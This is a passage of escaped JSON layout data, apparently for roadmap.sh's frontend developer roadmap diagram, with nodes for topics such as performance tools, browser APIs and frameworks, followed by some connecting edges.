\"width\": 211,\n      \"height\": 49,\n      \"id\": \"X0Y3-IpPiFUCsNDK4RFxw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -634.5537077765232,\n        \"y\": 2003.0487446425846\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Performance Metrics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3_sJHKTogkDoCjR518-OL\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -634.5537077765232,\n        \"y\": 2003.0487446425846\n      },\n      \"resizing\": false,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 211,\n      \"height\": 49,\n      \"id\": \"RIhHMHLsLLPhNl05Q9aBf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -634.5537077765232,\n        \"y\": 2056.0487446425846\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Using Lighthouse\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3_sJHKTogkDoCjR518-OL\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -634.5537077765232,\n        \"y\": 2056.0487446425846\n      },\n      \"resizing\": false,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 211,\n      \"height\": 49,\n      \"id\": \"3_sJHKTogkDoCjR518-OL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -634.5537077765232,\n        \"y\": 2109.0487446425846\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Using DevTools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xD5WfEP7Ez0oi3890UgmH\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -634.5537077765232,\n        \"y\": 2109.0487446425846\n      },\n      \"resizing\": false,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 270,\n      \"height\": 49,\n      \"id\": \"mB3hZvAfRr6kCEbF6t-yz\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -355.2582952055722,\n        \"y\": 2252.833490040384\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Performance Best Practices\",\n        \"href\": \"https://roadmap.sh/best-practices/frontend-performance\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136d6\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -355.2582952055722,\n        \"y\": 2252.833490040384\n      },\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 201,\n      \"height\": 49,\n      \"id\": \"raoa-75p_DyBAycvy3yVv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -626.8075746114723,\n        \"y\": 2255.1757757262712\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Storage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-DsETM9xLgHyGZthptj1Y\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -626.8075746114723,\n        \"y\": 2255.1757757262712\n      },\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 201,\n      \"height\": 49,\n      \"id\": \"NDJR8UCoa31v45TBFP7we\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -626.8075746114723,\n        \"y\": 2307.1757757262712\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Web Sockets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xD5WfEP7Ez0oi3890UgmH\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -626.8075746114723,\n        \"y\": 2307.1757757262712\n      },\n      \"resizing\": false,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 201,\n      \"height\": 49,\n      \"id\": \"doPe92aUpo-8KWhi45lWK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -626.8075746114723,\n        \"y\": 2359.1757757262712\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Server Sent Events\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"X0Y3-IpPiFUCsNDK4RFxw\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -626.8075746114723,\n        \"y\": 2359.1757757262712\n      },\n      \"resizing\": false,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 201,\n      \"height\": 49,\n      \"id\": \"TldWoXiqKxM4X3JONKAR7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -626.8075746114723,\n        \"y\": 2411.1757757262712\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Service Workers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RIhHMHLsLLPhNl05Q9aBf\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -626.8075746114723,\n        \"y\": 2411.1757757262712\n      },\n      \"resizing\": false,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 201,\n      \"height\": 49,\n      \"id\": \"YbGGYoKJEx29PlvopUBiM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -626.8075746114723,\n        \"y\": 2463.1757757262712\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Location\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -626.8075746114723,\n        \"y\": 2463.1757757262712\n      },\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 201,\n      \"height\": 49,\n      \"id\": \"6AlcArOiJMhHXguAosDzn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -626.8075746114723,\n        \"y\": 2515.1757757262712\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Notifications\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"opu2bAsmdWHqWqtsCscLC\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -626.8075746114723,\n        \"y\": 2515.1757757262712\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 201,\n      \"height\": 49,\n      \"id\": \"Fd0hQh1DleM0gMzCpGou4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -626.8075746114723,\n        \"y\": 2567.1757757262712\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Device Orientation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"opu2bAsmdWHqWqtsCscLC\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -626.8075746114723,\n        \"y\": 2567.1757757262712\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 201,\n      \"height\": 49,\n      \"id\": \"MAM1nuVk-h4AvTUk4nvmj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -626.8075746114723,\n        \"y\": 2619.1757757262712\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Payments\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"opu2bAsmdWHqWqtsCscLC\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -626.8075746114723,\n        \"y\": 2619.1757757262712\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 201,\n      \"height\": 49,\n      \"id\": \"opu2bAsmdWHqWqtsCscLC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -626.8075746114723,\n        \"y\": 2671.1757757262712\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Credentials\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YbGGYoKJEx29PlvopUBiM\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -626.8075746114723,\n        \"y\": 2671.1757757262712\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"y8mpS-q8TCwp3k23enpf7\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -645.5168967945566,\n        \"y\": 602.7221445947545\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"We’ve trimmed down the CSS part for the sake of brevity. You should read about CSS-in-JS, CSS Modules and Styled Components. Also worth looking at are Panda CSS, Shadcn UI, Mantine and more.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"TRANSPARENt\",\n          \"backgroundColor\": \"#ebebeb\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 366,\n      \"height\": 165,\n      \"positionAbsolute\": {\n        \"x\": -645.5168967945566,\n        \"y\": 602.7221445947545\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"style\": {\n        \"width\": 366,\n        \"height\": 165\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 366,\n        \"height\": 165\n      }\n    },\n    {\n      \"width\": 105,\n      \"height\": 49,\n      \"id\": \"h26uS3muFCabe6ekElZcI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -360.13444253706336,\n        \"y\": 1185.469247596049\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SWC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4W7UXfdKIUsm1bUrjdTVT\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -360.13444253706336,\n        \"y\": 1185.469247596049\n      },\n      \"style\": {\n        \"width\": 105,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 105,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dnVfC9N76qvTGKO9B-AW7\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -271.4913561640819,\n        \"y\": 1542.0166772420591\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JWT, OAuth, SSO, Basic Auth, Session Auth\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 341,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -271.4913561640819,\n        \"y\": 1542.0166772420591\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 341,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"qN-6iiXWgn5qSzK3o0Tjo\",\n      \"type\": \"legend\",\n      \"position\": {\n        \"x\": -654.8814218617622,\n        \"y\": -292.09541222709834\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"legends\": [\n          {\n            \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n            \"color\": \"#874efe\",\n            \"label\": \"Personal Recommendation / Opinion\"\n          },\n          {\n            \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n            \"label\": \"Alternative Option / Pick this or purple\",\n            \"color\": \"#4f7a28\"\n          },\n          {\n            \"id\": \"R9WLhURhPdVNXP7AUTDvR\",\n            \"label\": \"Order not strict / Learn anytime\",\n            \"color\": \"#929292\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 354,\n      \"height\": 124,\n      \"positionAbsolute\": {\n        \"x\": -654.8814218617622,\n        \"y\": -292.09541222709834\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 354,\n        \"height\": 124\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 45.49718479195076,\n        \"y\": -288.15106699547107\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 45.49718479195076,\n        \"y\": -288.15106699547107\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 58.7005592047509,\n        \"y\": -206.1655035777258\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 58.7005592047509,\n        \"y\": -206.1655035777258\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 141,\n      \"height\": 49,\n      \"id\": \"wA2fSYsbBYU02VJXAvUz8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 264.99486256192824,\n        \"y\": 1667.0301235678273\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Astro\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zNFYAJaSq0YZXL5Rpx1NX\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 264.99486256192824,\n        \"y\": 1667.0301235678273\n      },\n      \"style\": {\n        \"width\": 141,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 141,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_A1szF2RfITS21ZkihdVU\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -589.4418542150819,\n        \"y\": 2748.163242675726\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Browser APIs\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"dnVfC9N76qvTGKO9B-AW7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 119,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -589.4418542150819,\n        \"y\": 2748.163242675726\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 119,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"tJHq39GljlEahhhur11NE\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -633.0537077765232,\n        \"y\": 2181.382968916314\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Measure & Improve Perf.\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"_A1szF2RfITS21ZkihdVU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 208,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -633.0537077765232,\n        \"y\": 2181.382968916314\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 208,\n        \"height\": 36\n      }\n    },\n    {\n      \"width\": 120,\n      \"height\": 49,\n      \"id\": \"-sFboM4eFUMVq1tlPl-fV\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 11.058722960661697,\n        \"y\": 2679.3089001088356\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Fullstack\",\n        \"href\": \"https://roadmap.sh/full-stack\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"qXKNK_IsGS8-JgLK-Q9oU\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 11.058722960661697,\n        \"y\": 2679.3089001088356\n      },\n      \"style\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MfErpYwkJ0wiWJZEUVfrb\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -654.8814218617622,\n        \"y\": -153.72969257809785\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Visit Beginner Friendly Version\",\n        \"href\": \"/frontend?r=frontend-beginner\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#232323\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 352,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 352,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -654.8814218617622,\n        \"y\": -153.72969257809785\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 352,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jJebnKe4JftMXZ1lCsipq\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"VlNNwIEDWqQXtqkHWJYzC\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"tNkdpQjYu72eFK9f_W0RO\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VlNNwIEDWqQXtqkHWJYzC\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"yCnn-NfSxIybUQ2iTuUGq\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"ronTDxAvatzbk4n5a-McM\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VlNNwIEDWqQXtqkHWJYzC\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"R12sArWVpbIs_PHxBqVaR\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"gaNQ1Peug0eiN0Bfxhtgw\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VlNNwIEDWqQXtqkHWJYzC\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ZhSuu2VArnzPDp6dPQQSC\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"351utcB2QNjRmDe5bmcD1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VlNNwIEDWqQXtqkHWJYzC\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"aqMaEY8gkKMikiqleV5EP\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"lupNr9zUQ0sXyzPBxcglQ\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VlNNwIEDWqQXtqkHWJYzC\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"hkxw9jPGYphmjhTjw8766\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"2IVWwbU20VSU47qjiVU-f\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VlNNwIEDWqQXtqkHWJYzC\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"P82WFaTPgQEPNp5IIuZ1Y\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"9MbeqIRipRgbe34jwalxo\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"eghnfG4p7i-EDWfp3CQXC\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"8cshqMXb08BgNWbrVWNgN\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"hVQ89f6G0LXEgHIOKHDYq\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"Qstlhy-gNuV1VlBRCpt-K\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"dsTegXTyupjS8iU6I7Xiv\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"ozlBen25ObLyQg-WHLdvh\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"mQHpSyMR4Rra4mqAslgiS\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"BY88vn8qizAFo0cUhDok2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"mQHpSyMR4Rra4mqAslgiS\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"hJleHhdVrlYr3XH62NbiP\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0-AijuwIdYdGuiNnne4Yg\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"eFYSD5KybBoY_PcuN6Ol2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VlNNwIEDWqQXtqkHWJYzC\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"yWG2VUkaF5IJVVut6AiSy\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"type\": \"simplebezier\",\n      \"focusable\": true,\n      \"id\": \"reactflow__edge-VlNNwIEDWqQXtqkHWJYzCy2-yWG2VUkaF5IJVVut6AiSyz1\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"yWG2VUkaF5IJVVut6AiSy\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"mH_qff8R7R6eLQ1tPHLgG\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-yWG2VUkaF5IJVVut6AiSyw2-mH_qff8R7R6eLQ1tPHLgGx1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": 